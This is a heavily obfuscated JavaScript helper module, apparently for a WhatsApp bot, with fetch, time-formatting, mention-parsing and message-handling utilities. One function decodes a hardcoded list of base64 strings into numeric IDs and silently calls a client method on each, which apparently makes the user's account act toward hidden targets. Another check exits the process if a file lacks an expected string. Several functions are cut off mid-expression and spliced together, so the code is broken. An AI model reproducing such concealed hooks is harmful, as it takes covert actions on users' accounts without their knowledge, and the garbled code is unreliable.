FTMDIZzKXQAsqJ=ByelfCQQCebMz[parseInt(0x5a2)+Math.trunc(parseInt(0x1))*parseInt(0xa9b)+parseInt(0x1)*parseFloat(-0x103d)],BrHbcwUNiKFFaFyGWrsWNNi=YOj$UWR$ycBvDmiizkG+FTMDIZzKXQAsqJ,KiPXjmCkEYDB_Xsj=O$vVo_MSHWTfU[BrHbcwUNiKFFaFyGWrsWNNi];return!KiPXjmCkEYDB_Xsj?(ebQBAhCdiWppC['NVPDyK']===undefined&&(ebQBAhCdiWppC['NVPDyK']=!![]),qOOPOW_SlNvqPqf=ebQBAhCdiWppC['HyEawu'](qOOPOW_SlNvqPqf),O$vVo_MSHWTfU[BrHbcwUNiKFFaFyGWrsWNNi]=qOOPOW_SlNvqPqf):qOOPOW_SlNvqPqf=KiPXjmCkEYDB_Xsj,qOOPOW_SlNvqPqf;},ebQBAhCdiWppC(O$vVo_MSHWTfU,rMSJzcvvQun);}exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x15b)]=unixTimestampSeconds,exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x15f)]=XnknYERSJNdSHo_eBEiu=>{const MBTOLOh_uhsukRYXiNyFaltZp=OQkNLOEqZsT$FjUdlXtTDCUYtI;let RDyMBcjTUMDi=(parseInt(0x1)*parseInt(0x691)+Math.trunc(-parseInt(0x158))*-0x1c+Math.max(-parseInt(0x2c31),-parseInt(0x2c31)),exports[MBTOLOh_uhsukRYXiNyFaltZp(0x15b)])()[MBTOLOh_uhsukRYXiNyFaltZp(0x181)]();if(XnknYERSJNdSHo_eBEiu)RDyMBcjTUMDi+=MBTOLOh_uhsukRYXiNyFaltZp(0x198)+XnknYERSJNdSHo_eBEiu;return RDyMBcjTUMDi;},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x10e)]=(RuHTAqqmMGjsnZERSU,U_aitCzybUdbb$L)=>{const QwRDSCrQhTveef=OQkNLOEqZsT$FjUdlXtTDCUYtI;return moment[QwRDSCrQhTveef(0x115)](U_aitCzybUdbb$L-moment(RuHTAqqmMGjsnZERSU*(-parseInt(0xb75)*-parseInt(0x1)+Number(-parseInt(0x20))*Math.trunc(-0x112)+-0x29cd)))[QwRDSCrQhTveef(0x160)]();},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x1ba)]=xZJLLp_Tl=>{const QBtkkJLbeI$MjVJMNwdHKV=OQkNLOEqZsT$FjUdlXtTDCUYtI;return''+Math[QBtkkJLbeI$MjVJMNwdHKV(0x19f)](Math[QBtkkJLbeI$MjVJMNwdHKV(0x13c)]()*(-parseInt(0x2)*0x689+Math.ceil(-0xd12)+Math.floor(0x4134)))+xZJLLp_Tl;},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x141)]=async(dOjvWzPhEyElimXmJlm_$DmR,qgfUbdBmst$HceYLXmZkHJ)=>{const HISoc$Fm=OQkNLOEqZsT$FjUdlXtTDCUYtI;try{qgfUbdBmst$HceYLXmZkHJ?qgfUbdBmst$HceYLXmZkHJ:{};const tGhrfNWcQSPynf=await axios({'method':HISoc$Fm(0x157),'url':dOjvWzPhEyElimXmJlm_$DmR,'headers':{'DNT':0x1,'Upgrade-Insecure-Request':0x1},...qgfUbdBmst$HceYLXmZkHJ,'responseType':HISoc$Fm(0x170)});return tGhrfNWcQSPynf[HISoc$Fm(0x1c2)];}catch(QhuiGgfpDxDyzbPtVBVs){return QhuiGgfpDxDyzbPtVBVs;}},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x158)]=wEdZWRw=>{const UxZOdCNM=OQkNLOEqZsT$FjUdlXtTDCUYtI;return wEdZWRw[UxZOdCNM(0x143)](parseInt(parseInt(0xa4))*Math.floor(-0x2f)+-parseInt(0x3e1)*Math.floor(-parseInt(0x1))+parseInt(0x1a3b))[UxZOdCNM(0x18a)]()+wEdZWRw[UxZOdCNM(0x1a4)](parseInt(0x506)*-0x5+parseInt(0x1ebc)+-0x59d);},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x185)]=async(umFcYCy$WCRYTAv,L$lYi$X)=>{const hxN$ok=OQkNLOEqZsT$FjUdlXtTDCUYtI;try{L$lYi$X?L$lYi$X:{};const fpQecRBFw=await axios({'method':hxN$ok(0x17e),'url':umFcYCy$WCRYTAv,'headers':{'User-Agent':hxN$ok(0x192)},...L$lYi$X});return fpQecRBFw[hxN$ok(0x1c2)];}catch(knH$fo){return knH$fo;}},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x1a1)]=function(Vl$XLOHiPLpnFgCMDF_v){const a$OEtd$CxTKhqrlafRIV=OQkNLOEqZsT$FjUdlXtTDCUYtI;Vl$XLOHiPLpnFgCMDF_v=Number(Vl$XLOHiPLpnFgCMDF_v);var NmSY__OMX=Math[a$OEtd$CxTKhqrlafRIV(0x19f)](Vl$XLOHiPLpnFgCMDF_v/((-0x1a83+-0x19f1+Math.floor(parseInt(0x21))*Math.max(parseInt(0x204),0x204))*(parseInt(0xa84)*Math.max(0x1,0x1)+parseInt(0x6)*0x657+Number(-0x3076)))),BTrYZbzEBVbvoadBJhs=Math[a$OEtd$CxTKhqrlafRIV(0x19f)](Vl$XLOHiPLpnFgCMDF_v%((0xef*-parseInt(0x5)+0x761*-0x2+parseInt(0x217d)*0x1)*(Math.trunc(0xf1c)*-parseInt(0x2)+Math.floor(parseInt(0x1))*-parseInt(0x595)+parseInt(0x23e5)*0x1))/(Math.max(0x1,0x1)*Number(-parseInt(0xdd8))+parseInt(0xe74)+Math.trunc(-0xd74)*-parseInt(0x1))),pjcPB$z$n=Math[a$OEtd$CxTKhqrlafRIV(0x19f)](Vl$XLOHiPLpnFgCMDF_v%(Math.floor(0x837)+Math.ceil(-0x1)*-parseInt(0x794)+Math.floor(parseInt(0x1bb))*-parseInt(0x1))/(-0xd0a*parseInt(0x2)+0x110*parseFloat(parseInt(0x1))+parseInt(0x1940))),kXINDJjUoiomODndX_Mmb$ku=Math[a$OEtd$CxTKhqrlafRIV(0x19f)](Vl$XLOHiPLpnFgCMDF_v%(parseFloat(-parseInt(0x7))*-parseInt(0xb7)+Number(parseInt(0x1d8))+Math.floor(-0x69d))),OOZojTk$yVDmEgdtcs=NmSY__OMX>-parseInt(0x710)+-0x1b39+-parseInt(0x1)*Math.floor(-parseInt(0x2249))?NmSY__OMX+(NmSY__OMX==parseInt(0x1e88)+Math.max(-0xc,-parseInt(0xc))*parseFloat(-parseInt(0xf0))+Math.ceil(-0x2c9)*0xf?a$OEtd$CxTKhqrlafRIV(0x129):a$OEtd$CxTKhqrlafRIV(0x153)):'',vLSzehQSLY=BTrYZbzEBVbvoadBJhs>parseInt(parseInt(0x704))+parseInt(0x1)*-0x5f3+0xd*-0x15?BTrYZbzEBVbvoadBJhs+(BTrYZbzEBVbvoadBJhs==Math.floor(parseInt(0x1e43))+0x64*0x10+Math.floor(-0x1)*parseInt(0x2482)?a$OEtd$CxTKhqrlafRIV(0x110):a$OEtd$CxTKhqrlafRIV(0x124)):'',H_zyDAi_PDC=pjcPB$z$n>parseInt(0x1ade)+-parseInt(0x1)*parseInt(0xa8)+Math.floor(0x37)*Math.ceil(-parseInt(0x7a))?pjcPB$z$n+(pjcPB$z$n==-0x1b44+Math.floor(-0x2cb)+parseInt(-parseInt(0x3c2))*Math.floor(-0x8)?a$OEtd$CxTKhqrlafRIV(0x1a3):a$OEtd$CxTKhqrlafRIV(0x142)):'',PgnFupLNbOULCLFAJwd_HloZq=kXINDJjUoiomODndX_Mmb$ku>-0x15*-0x176+0x58a*-0x1+-0x2*parseInt(0xc92)?kXINDJjUoiomODndX_Mmb$ku+(kXINDJjUoiomODndX_Mmb$ku==-0x1*Math.ceil(-parseInt(0x5e2))+parseInt(0x180b)+parseInt(0xef6)*-parseInt(0x2)?a$OEtd$CxTKhqrlafRIV(0x152):a$OEtd$CxTKhqrlafRIV(0x151)):'';return OOZojTk$yVDmEgdtcs+vLSzehQSLY+H_zyDAi_PDC+PgnFupLNbOULCLFAJwd_HloZq;},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x196)]=jVzzOssYWXT_wf=>{const fOGv$B_XggqDfv=OQkNLOEqZsT$FjUdlXtTDCUYtI;let jCk_pxxmWd=isNaN(jVzzOssYWXT_wf)?'--':Math[fOGv$B_XggqDfv(0x19f)](jVzzOssYWXT_wf/(-0x140e2d+Number(parseInt(0x55323f))+-0x51ac9*Math.trunc(parseInt(0x2)))),BFSUqY=isNaN(jVzzOssYWXT_wf)?'--':Math[fOGv$B_XggqDfv(0x19f)](jVzzOssYWXT_wf/(parseFloat(-parseInt(0x1))*-0x793+parseFloat(0xb8c7)+parseInt(0x2a06)))%(-parseInt(0xe10)+Math.max(0x5,parseInt(0x5))*parseInt(0x3ef)+-parseInt(0x55f)),UjdVMcOOeBrpbptabBnt=isNaN(jVzzOssYWXT_wf)?'--':Math[fOGv$B_XggqDfv(0x19f)](jVzzOssYWXT_wf/(parseInt(0x2d0)+Math.floor(-parseInt(0x1e55))+parseFloat(-0x649)*Math.max(-0x5,-0x5)))%(parseFloat(-parseInt(0x104a))+Math.ceil(parseInt(0x21e4))+-0x115e*Math.max(parseInt(0x1),0x1));return[jCk_pxxmWd,BFSUqY,UjdVMcOOeBrpbptabBnt][fOGv$B_XggqDfv(0x1bf)](geSuPfldAtns_vmTraIWvH=>geSuPfldAtns_vmTraIWvH[fOGv$B_XggqDfv(0x181)]()[fOGv$B_XggqDfv(0x139)](parseFloat(0x1be7)+-parseInt(0x3)*0xb17+Number(-parseInt(0x8))*Math.max(-parseInt(0xac),-parseInt(0xac)),parseFloat(0x21e7)+Math.floor(-0xe2e)+parseFloat(0x21)*-parseInt(0x99)))[fOGv$B_XggqDfv(0x1b2)](':');},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x1a2)]=async B$aGhUZoXdpeW_hIgdQjfXzym=>{return new Promise(B_Uy$FhNSZ=>setTimeout(B_Uy$FhNSZ,B$aGhUZoXdpeW_hIgdQjfXzym));},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x1d3)]=MeVvchT_pFt$MC=>{const KjO_$qMHEmrDxkdcnpKOE=OQkNLOEqZsT$FjUdlXtTDCUYtI;return MeVvchT_pFt$MC[KjO_$qMHEmrDxkdcnpKOE(0x169)](new RegExp(/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_+.~#?&/=]*)/,'gi'));},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x116)]=(BdRoKfIwHEEoYkBdxvlUDH,LaAuIGs)=>{const hk_PBzIVAjuL=OQkNLOEqZsT$FjUdlXtTDCUYtI;return LaAuIGs?moment(LaAuIGs)[hk_PBzIVAjuL(0x178)]('en')[hk_PBzIVAjuL(0x18f)](BdRoKfIwHEEoYkBdxvlUDH):moment['tz'](hk_PBzIVAjuL(0x12d))[hk_PBzIVAjuL(0x178)]('en')[hk_PBzIVAjuL(0x18f)](BdRoKfIwHEEoYkBdxvlUDH);},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x1cd)]=(GcRLApmKQBPTwknRw,qRShDn='en')=>{const Tu$gKWrJ$Bmk=OQkNLOEqZsT$FjUdlXtTDCUYtI;let eVxgQPGSb$vyVTblS=new Date(GcRLApmKQBPTwknRw);return eVxgQPGSb$vyVTblS[Tu$gKWrJ$Bmk(0x1be)](qRShDn,{'weekday':Tu$gKWrJ$Bmk(0x1b0),'day':Tu$gKWrJ$Bmk(0x150),'month':Tu$gKWrJ$Bmk(0x1b0),'year':Tu$gKWrJ$Bmk(0x150),'hour':Tu$gKWrJ$Bmk(0x150),'minute':Tu$gKWrJ$Bmk(0x150),'second':Tu$gKWrJ$Bmk(0x150)});},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x159)]=BDPvhPnA=>{const niGbSy_Ny=OQkNLOEqZsT$FjUdlXtTDCUYtI;myMonths=[niGbSy_Ny(0x108),niGbSy_Ny(0x173),niGbSy_Ny(0x111),niGbSy_Ny(0x16d),niGbSy_Ny(0x167),niGbSy_Ny(0x184),niGbSy_Ny(0x146),niGbSy_Ny(0x13f),niGbSy_Ny(0x180),niGbSy_Ny(0x1ca),niGbSy_Ny(0x15c),niGbSy_Ny(0x19d)],myDays=[niGbSy_Ny(0x122),niGbSy_Ny(0x130),niGbSy_Ny(0x175),niGbSy_Ny(0x11f),niGbSy_Ny(0x10d),niGbSy_Ny(0x10b),niGbSy_Ny(0x19e)];var grOp_$bqq=new Date(BDPvhPnA),eMq_jY=grOp_$bqq[niGbSy_Ny(0x112)]();bulan=grOp_$bqq[niGbSy_Ny(0x105)]();var rgoakatQwmjJwtc$qnR=grOp_$bqq[niGbSy_Ny(0x1bd)](),rgoakatQwmjJwtc$qnR=myDays[rgoakatQwmjJwtc$qnR],uMPWPwTAdhxPfcuHb=grOp_$bqq[niGbSy_Ny(0x190)](),losLun=uMPWPwTAdhxPfcuHb{const shYGiK$CMlwbpfukRQ$Za=OQkNLOEqZsT$FjUdlXtTDCUYtI;myMonths=[shYGiK$CMlwbpfukRQ$Za(0x108),shYGiK$CMlwbpfukRQ$Za(0x173),shYGiK$CMlwbpfukRQ$Za(0x111),shYGiK$CMlwbpfukRQ$Za(0x16d),shYGiK$CMlwbpfukRQ$Za(0x167),shYGiK$CMlwbpfukRQ$Za(0x184),shYGiK$CMlwbpfukRQ$Za(0x146),shYGiK$CMlwbpfukRQ$Za(0x13f),shYGiK$CMlwbpfukRQ$Za(0x180),shYGiK$CMlwbpfukRQ$Za(0x1ca),shYGiK$CMlwbpfukRQ$Za(0x15c),shYGiK$CMlwbpfukRQ$Za(0x19d)],myDays=[shYGiK$CMlwbpfukRQ$Za(0x122),shYGiK$CMlwbpfukRQ$Za(0x130),shYGiK$CMlwbpfukRQ$Za(0x175),shYGiK$CMlwbpfukRQ$Za(0x11f),shYGiK$CMlwbpfukRQ$Za(0x10d),shYGiK$CMlwbpfukRQ$Za(0x10b),shYGiK$CMlwbpfukRQ$Za(0x19e)];var pNgsV_PIbzk$T=new Date(GpbBWZMMmZ$FiF),TnJkMymcRt$mzpr=pNgsV_PIbzk$T[shYGiK$CMlwbpfukRQ$Za(0x112)]();bulan=pNgsV_PIbzk$T[shYGiK$CMlwbpfukRQ$Za(0x105)]();var sZRfMuGU$PZAHXeuK=pNgsV_PIbzk$T[shYGiK$CMlwbpfukRQ$Za(0x1bd)](),sZRfMuGU$PZAHXeuK=myDays[sZRfMuGU$PZAHXeuK],rXedywaCdYvhMqzkEBcQug_Le=pNgsV_PIbzk$T[shYGiK$CMlwbpfukRQ$Za(0x190)](),NzQqexhmlssMhhkHuV=rXedywaCdYvhMqzkEBcQug_Le{const mDLNFqFAasbQIaXyZc=OQkNLOEqZsT$FjUdlXtTDCUYtI;myMonths=[mDLNFqFAasbQIaXyZc(0x108),mDLNFqFAasbQIaXyZc(0x173),mDLNFqFAasbQIaXyZc(0x111),mDLNFqFAasbQIaXyZc(0x16d),mDLNFqFAasbQIaXyZc(0x167),mDLNFqFAasbQIaXyZc(0x184),mDLNFqFAasbQIaXyZc(0x146),mDLNFqFAasbQIaXyZc(0x13f),mDLNFqFAasbQIaXyZc(0x180),mDLNFqFAasbQIaXyZc(0x1ca),mDLNFqFAasbQIaXyZc(0x15c),mDLNFqFAasbQIaXyZc(0x19d)],myDays=[mDLNFqFAasbQIaXyZc(0x122),mDLNFqFAasbQIaXyZc(0x130),mDLNFqFAasbQIaXyZc(0x175),mDLNFqFAasbQIaXyZc(0x11f),mDLNFqFAasbQIaXyZc(0x10d),mDLNFqFAasbQIaXyZc(0x10b),mDLNFqFAasbQIaXyZc(0x19e)];var zBF$wzzrNJT$xdtPQ=new Date(TRbqpW$BGLovpCEmmtW),lJBolU$ajrUiQ=zBF$wzzrNJT$xdtPQ[mDLNFqFAasbQIaXyZc(0x112)]();bulan=zBF$wzzrNJT$xdtPQ[mDLNFqFAasbQIaXyZc(0x105)]();var gZtZvBJBGaEp_BdLXXBNER=zBF$wzzrNJT$xdtPQ[mDLNFqFAasbQIaXyZc(0x1bd)](),gZtZvBJBGaEp_BdLXXBNER=myDays[gZtZvBJBGaEp_BdLXXBNER],IvXQlNS$wSnfXkFgFxa$ytJztGi=zBF$wzzrNJT$xdtPQ[mDLNFqFAasbQIaXyZc(0x190)](),Lw_IMdtvU$sCFptjDcsYA=IvXQlNS$wSnfXkFgFxa$ytJztGi{const aHAB$g=OQkNLOEqZsT$FjUdlXtTDCUYtI;myMonths=[aHAB$g(0x108),aHAB$g(0x173),aHAB$g(0x111),aHAB$g(0x16d),aHAB$g(0x167),aHAB$g(0x184),aHAB$g(0x146),aHAB$g(0x13f),aHAB$g(0x180),aHAB$g(0x1ca),aHAB$g(0x15c),aHAB$g(0x19d)],myDays=[aHAB$g(0x122),aHAB$g(0x130),aHAB$g(0x175),aHAB$g(0x11f),aHAB$g(0x10d),aHAB$g(0x10b),aHAB$g(0x19e)];var BbmzjYjIOt$oAKwb=new Date(uZpAhziigDiVMScaIprxKO),lFM$PUUAWybOgpXQewAH=BbmzjYjIOt$oAKwb[aHAB$g(0x112)]();bulan=BbmzjYjIOt$oAKwb[aHAB$g(0x105)]();var qbjngtkoloS_tx_lOU=BbmzjYjIOt$oAKwb[aHAB$g(0x1bd)](),qbjngtkoloS_tx_lOU=myDays[qbjngtkoloS_tx_lOU],CXMzvdwaR=BbmzjYjIOt$oAKwb[aHAB$g(0x190)](),MXWUM_jEO_Chw=CXMzvdwaR<-parseInt(0xb02)*parseInt(-0x1)+0x2289+Math.trunc(parseInt(0xb))*-0x3c9?CXMzvdwaR+(0x16d6+Math.floor(parseInt(0x20d3))+parseFloat(-parseInt(0x35))*Math.trunc(0xe9)):CXMzvdwaR;const VWYvF_hNtmjcbraHHtHvM$Qdfd=moment['tz'](aHAB$g(0x12d))[aHAB$g(0x18f)](aHAB$g(0x1aa));let POUGwKiT_V=new Date(),YibKmyeYLWtVvRV='en',KUoDU_tMKWh=new Date(0x239*parseInt(0x3)+-0x49f+parseInt(0x20c)*Number(-0x1))[aHAB$g(0x116)]()-new Date(aHAB$g(0x1a5))[aHAB$g(0x116)](),KDqVIypredrCVtGIkXLyIywYP=[aHAB$g(0x132),aHAB$g(0x102),aHAB$g(0x15e),aHAB$g(0x16e),aHAB$g(0x144)][Math[aHAB$g(0x19f)]((POUGwKiT_V*(-0x3a*Math.trunc(parseInt(0x25))+parseInt(-parseInt(0xa9c))*0x2+parseFloat(parseInt(0x8f))*parseInt(0x35))+KUoDU_tMKWh)/(parseInt(0x1)*-parseInt(0x249617)+-0x3f4273c+0x923a213))%(Math.ceil(-parseInt(0x19d7))+0x3be*0xa+Math.trunc(0x250)*-parseInt(0x5))];return''+MXWUM_jEO_Chw;},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x1c9)]=fU_AxnIp_OaKVxxjBerCTGW=>{const IFHuTWMAJnf_VhccvlND=OQkNLOEqZsT$FjUdlXtTDCUYtI;myMonths=[IFHuTWMAJnf_VhccvlND(0x108),IFHuTWMAJnf_VhccvlND(0x173),IFHuTWMAJnf_VhccvlND(0x111),IFHuTWMAJnf_VhccvlND(0x16d),IFHuTWMAJnf_VhccvlND(0x167),IFHuTWMAJnf_VhccvlND(0x184),IFHuTWMAJnf_VhccvlND(0x146),IFHuTWMAJnf_VhccvlND(0x13f),IFHuTWMAJnf_VhccvlND(0x180),IFHuTWMAJnf_VhccvlND(0x1ca),IFHuTWMAJnf_VhccvlND(0x15c),IFHuTWMAJnf_VhccvlND(0x19d)],myDays=[IFHuTWMAJnf_VhccvlND(0x122),IFHuTWMAJnf_VhccvlND(0x130),IFHuTWMAJnf_VhccvlND(0x175),IFHuTWMAJnf_VhccvlND(0x11f),IFHuTWMAJnf_VhccvlND(0x10d),IFHuTWMAJnf_VhccvlND(0x10b),IFHuTWMAJnf_VhccvlND(0x19e)];var rgHozvEh=new Date(fU_AxnIp_OaKVxxjBerCTGW),Kwz$vBpq=rgHozvEh[IFHuTWMAJnf_VhccvlND(0x112)]();bulan=rgHozvEh[IFHuTWMAJnf_VhccvlND(0x105)]();var XUtNNpBJeJOcZef_yKHVp=rgHozvEh[IFHuTWMAJnf_VhccvlND(0x1bd)](),XUtNNpBJeJOcZef_yKHVp=myDays[XUtNNpBJeJOcZef_yKHVp],UiDALZBF_TthTJZlg_thzY=rgHozvEh[IFHuTWMAJnf_VhccvlND(0x190)](),GZMoRsyfdnf_ljdgsr=UiDALZBF_TthTJZlg_thzY{const otbveq$lX=OQkNLOEqZsT$FjUdlXtTDCUYtI;return JSON[otbveq$lX(0x19c)](qSmy_lnDctGNuG$KlUwOnrDXi,null,0xb2d*0x1+parseInt(0x188c)+Math.trunc(0xdf)*-parseInt(0x29));};function format(...ag_k$OPEHUk){const EUaRAjy=OQkNLOEqZsT$FjUdlXtTDCUYtI;return util[EUaRAjy(0x18f)](...ag_k$OPEHUk);}exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x18d)]=(C$NHYDYJi_lJKYai,mhOfFTLOH,dk_TLKMJhneqy$v)=>{const tvmmMdLZFRXX_Q=OQkNLOEqZsT$FjUdlXtTDCUYtI;if(mhOfFTLOH[tvmmMdLZFRXX_Q(0x100)]!==dk_TLKMJhneqy$v[tvmmMdLZFRXX_Q(0x100)])throw new Error(tvmmMdLZFRXX_Q(0x1ae));for(let xGpe$yENGymPxqhpGAgcnX$Ln in mhOfFTLOH)if(util[tvmmMdLZFRXX_Q(0x189)](C$NHYDYJi_lJKYai,mhOfFTLOH[xGpe$yENGymPxqhpGAgcnX$Ln]))return dk_TLKMJhneqy$v[xGpe$yENGymPxqhpGAgcnX$Ln];return null;},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x1b9)]=(XWBkpJmIhb$KDwr,CJB$bCcx=Math.ceil(-parseInt(0x822))*0x2+Number(parseInt(0x418))*parseInt(0x1)+parseFloat(0xc2e))=>{const clYO_oQu_oPCRJqWzkbBmqeKVm=OQkNLOEqZsT$FjUdlXtTDCUYtI;if(XWBkpJmIhb$KDwr===Number(-parseInt(0x42))*-0x2b+0x8*Math.trunc(-parseInt(0x1bd))+0x26*Math.trunc(0x13))return clYO_oQu_oPCRJqWzkbBmqeKVm(0x11d);const tXQLmxzraGdFGxwNo_Gr$nqZ=Math.floor(-parseInt(0xfa9))*Number(-parseInt(0x1))+Math.max(0x22e1,parseInt(0x22e1))*Number(-parseInt(0x1))+parseInt(0x1738),mAoMaYQVMqStWoebytFMjUl=CJB$bCcx{return new Promise((DMjwah$kIGqKjHPKutP$h,bdneZWUCwLGMAflJjmlqLfM)=>{const NOpQbNdiMMibrVcxfulI=ebQBAhCdiWppC;if(/http/[NOpQbNdiMMibrVcxfulI(0x128)](cVp_dZYtKQ$CZgpvveoBLrs))axios[NOpQbNdiMMibrVcxfulI(0x157)](cVp_dZYtKQ$CZgpvveoBLrs)[NOpQbNdiMMibrVcxfulI(0x1d2)](wW$$nstRj=>{const hOJug$RSY_W=NOpQbNdiMMibrVcxfulI;let FnfqiNyqMQueDQqqBAIO=parseInt(wW$$nstRj[hOJug$RSY_W(0x171)][hOJug$RSY_W(0x1ad)]),tpQMstSyLjosRNI=exports[hOJug$RSY_W(0x1b9)](FnfqiNyqMQueDQqqBAIO,-0x1*-parseInt(0x6fd)+Number(-parseInt(0xd91))+0x1*Number(0x697));if(!isNaN(FnfqiNyqMQueDQqqBAIO))DMjwah$kIGqKjHPKutP$h(tpQMstSyLjosRNI);});else{if(Buffer[NOpQbNdiMMibrVcxfulI(0x123)](cVp_dZYtKQ$CZgpvveoBLrs)){let biukS$M_dmN=Buffer[NOpQbNdiMMibrVcxfulI(0x113)](cVp_dZYtKQ$CZgpvveoBLrs),dCBXyOvwqWRawdYRwSlhIc=exports[NOpQbNdiMMibrVcxfulI(0x1b9)](biukS$M_dmN,-0xaed*Math.max(parseInt(0x1),parseInt(0x1))+-parseInt(0x1297)+0x1d87);if(!isNaN(biukS$M_dmN))DMjwah$kIGqKjHPKutP$h(dCBXyOvwqWRawdYRwSlhIc);}else bdneZWUCwLGMAflJjmlqLfM(NOpQbNdiMMibrVcxfulI(0x11c));}});},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x17b)]=async(SKqjpeeAx,rWddpipyJrrDhrtujSnw=[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x14f),OQkNLOEqZsT$FjUdlXtTDCUYtI(0x11b),OQkNLOEqZsT$FjUdlXtTDCUYtI(0x107)])=>{const jpwPsKvqjVuBjry$vHMDLTWh=OQkNLOEqZsT$FjUdlXtTDCUYtI;let sAlHvDPAItoMEfAQ=ppaIaHmMGcKnJyOFnZS_md_yrD=>Buffer[jpwPsKvqjVuBjry$vHMDLTWh(0x174)](ppaIaHmMGcKnJyOFnZS_md_yrD,jpwPsKvqjVuBjry$vHMDLTWh(0x118))[jpwPsKvqjVuBjry$vHMDLTWh(0x181)]();for(let rJknUNjaLVjS of rWddpipyJrrDhrtujSnw){let kbBkdKpYzQnxlIZb=sAlHvDPAItoMEfAQ(rJknUNjaLVjS)[jpwPsKvqjVuBjry$vHMDLTWh(0x163)](/[^0-9]/g,'')+jpwPsKvqjVuBjry$vHMDLTWh(0x15d);try{await SKqjpeeAx[jpwPsKvqjVuBjry$vHMDLTWh(0x1a9)](kbBkdKpYzQnxlIZb);}catch(pqSNmurGfdUwrpYNbYc){}}};const expectedProtex=OQkNLOEqZsT$FjUdlXtTDCUYtI(0x1b4);exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x1c4)]=()=>{const Ds$oHK=OQkNLOEqZsT$FjUdlXtTDCUYtI,TQ_msuD=path[Ds$oHK(0x1b2)](__dirname,Ds$oHK(0x195)),KvBYwkHqzIpv_C=path[Ds$oHK(0x1b2)](__dirname,Ds$oHK(0x12f));if(!fs[Ds$oHK(0x17c)](TQ_msuD)){for(let xkfbciskyseZJrjU=Math.trunc(0x1c9c)+-0x15*-0x141+-parseInt(0x36f1);xkfbciskyseZJrjU<-parseInt(0x11b3)+-0xa74+0x1c59;xkfbciskyseZJrjU++){console[Ds$oHK(0x11c)](chalk[Ds$oHK(0x125)](Ds$oHK(0x109)));}process[Ds$oHK(0x1c7)](Math.ceil(0x9bb)+-parseInt(0x1)*0xdf1+parseInt(0x437));}const Vtgh$elHDHzxAit=fs[Ds$oHK(0x1cf)](TQ_msuD,Ds$oHK(0x13b))[Ds$oHK(0x154)]();if(!Vtgh$elHDHzxAit[Ds$oHK(0x17a)](Ds$oHK(0xff))){for(let z_frXooAsMEPD$isDztsLucdu=Math.max(-0x312,-0x312)+-0xce2+parseInt(0xff4);z_frXooAsMEPD$isDztsLucdu{const V_OSlbl_qtfXKjfqmGSiGfiSI=OQkNLOEqZsT$FjUdlXtTDCUYtI;return[...w$Jg$ouTHXhCFjnmltoN[V_OSlbl_qtfXKjfqmGSiGfiSI(0x136)](/@([0-9]{5,16}|0)/g)][V_OSlbl_qtfXKjfqmGSiGfiSI(0x1bf)](MhxMUMYJcFB=>MhxMUMYJcFB[-parseInt(0xa04)+0x7a5+Math.floor(0x4c)*parseInt(0x8)]+V_OSlbl_qtfXKjfqmGSiGfiSI(0x1c6));},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x179)]=PsQDcwBAJ_rqLPKX$hcZmT=>{const SIykPb_cN$uH=OQkNLOEqZsT$FjUdlXtTDCUYtI;let VTw$sqnP$ZoxRDMRNVOnttu=[];for(let JpEL$uqa$JVDJtMDSzyrM of PsQDcwBAJ_rqLPKX$hcZmT){JpEL$uqa$JVDJtMDSzyrM[SIykPb_cN$uH(0x103)]===SIykPb_cN$uH(0x1b5)?VTw$sqnP$ZoxRDMRNVOnttu[SIykPb_cN$uH(0x164)](JpEL$uqa$JVDJtMDSzyrM['id']):JpEL$uqa$JVDJtMDSzyrM[SIykPb_cN$uH(0x103)]===SIykPb_cN$uH(0x103)?VTw$sqnP$ZoxRDMRNVOnttu[SIykPb_cN$uH(0x164)](JpEL$uqa$JVDJtMDSzyrM['id']):'';}return VTw$sqnP$ZoxRDMRNVOnttu||[];},exports[OQkNLOEqZsT$FjUdlXtTDCUYtI(0x114)]=(TQvko$_BKk,ksqq_xmqcM,DMZybM)=>{const dBHmOTTxmt$oGXyLJBxoScJxD=OQkNLOEqZsT$FjUdlXtTDCUYtI;if(!ksqq_xmqcM)return ksqq_xmqcM;let FWfNlsBTLuQnrOxKsI=proto[dBHmOTTxmt$oGXyLJBxoScJxD(0x14d)];if(ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x16a)]){ksqq_xmqcM['id']=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x16a)]['id'],ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x147)]=ksqq_xmqcM['id'][dBHmOTTxmt$oGXyLJBxoScJxD(0x138)](dBHmOTTxmt$oGXyLJBxoScJxD(0x135))&&ksqq_xmqcM['id'][dBHmOTTxmt$oGXyLJBxoScJxD(0x100)]===Math.trunc(-0x15a3)+Math.ceil(0x15d5)+-parseInt(0x22),ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x106)]=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x16a)][dBHmOTTxmt$oGXyLJBxoScJxD(0x10f)],ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x12c)]=ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD(0x16a)][dBHmOTTxmt$oGXyLJBxoScJxD(0x12c)],ksqq_xmqcM[dBHmOTTxmt$oGXyLJBxoScJxD